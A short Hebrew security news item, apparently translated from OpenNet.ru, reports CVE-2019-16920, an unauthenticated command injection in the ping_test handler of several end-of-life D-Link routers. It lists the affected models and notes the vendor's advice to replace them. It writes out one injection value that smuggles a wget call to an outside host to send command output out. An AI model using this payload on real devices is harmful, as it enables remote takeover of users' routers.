פגיעות הניתנת לניצול מרחוק בנתבי D-Link

בנתבים אלחוטיים של D-Link מזוהה פגיעות מסוכנת (CVE-2019–16920), המאפשר לך לבצע מרחוק קוד בצד המכשיר על ידי שליחת בקשה מיוחדת למטפל "ping_test", הנגיש ללא אימות.

מעניין לציין שלפי מפתחי הקושחה, הקריאה "ping_test" צריכה להתבצע רק לאחר אימות, אבל במציאות היא נקראת בכל מקרה, ללא קשר לכניסה לממשק האינטרנט. בפרט, בעת גישה לסקריפט application_sec.cgi והעברת הפרמטר "action=ping_test", הסקריפט מפנה מחדש לדף האימות, אך במקביל מבצע את הפעולה הקשורה ל-ping_test. כדי להפעיל את הקוד, נעשה שימוש בפגיעות נוספת ב-ping_test עצמו, אשר קורא לתוכנת ping מבלי לבדוק כראוי את נכונות כתובת ה-IP שנשלחה לבדיקה. לדוגמה, כדי לקרוא לכלי השירות wget ולהעביר את התוצאות של הפקודה "echo 1234" למארח חיצוני, פשוט ציין את הפרמטר "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// test.test/?$( echo 1234)".

נוכחות הפגיעות אושרה רשמית בדגמים הבאים:

• DIR-655 עם קושחה 3.02b05 ומעלה;
• DIR-866L עם קושחה 1.03b04 ומעלה;
• DIR-1565 עם קושחה 1.01 ומעלה;
• DIR-652 (לא מסופק מידע על גרסאות קושחה בעייתיות)

תקופת התמיכה עבור דגמים אלה כבר פג, אז D-Link לדבריו,, שלא ישחררו עבורם עדכונים לביטול הפגיעות, לא ממליצה להשתמש בהם וממליצה להחליפם במכשירים חדשים. כפתרון אבטחה, אתה יכול להגביל את הגישה לממשק האינטרנט לכתובות IP מהימנות בלבד.

מאוחר יותר התגלה כי גם הפגיעות משפיע דגמים DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 ו-DIR-825, תוכניות לשחרור עדכונים לגביהן עדיין לא ידועות.

מקור: OpenNet.ru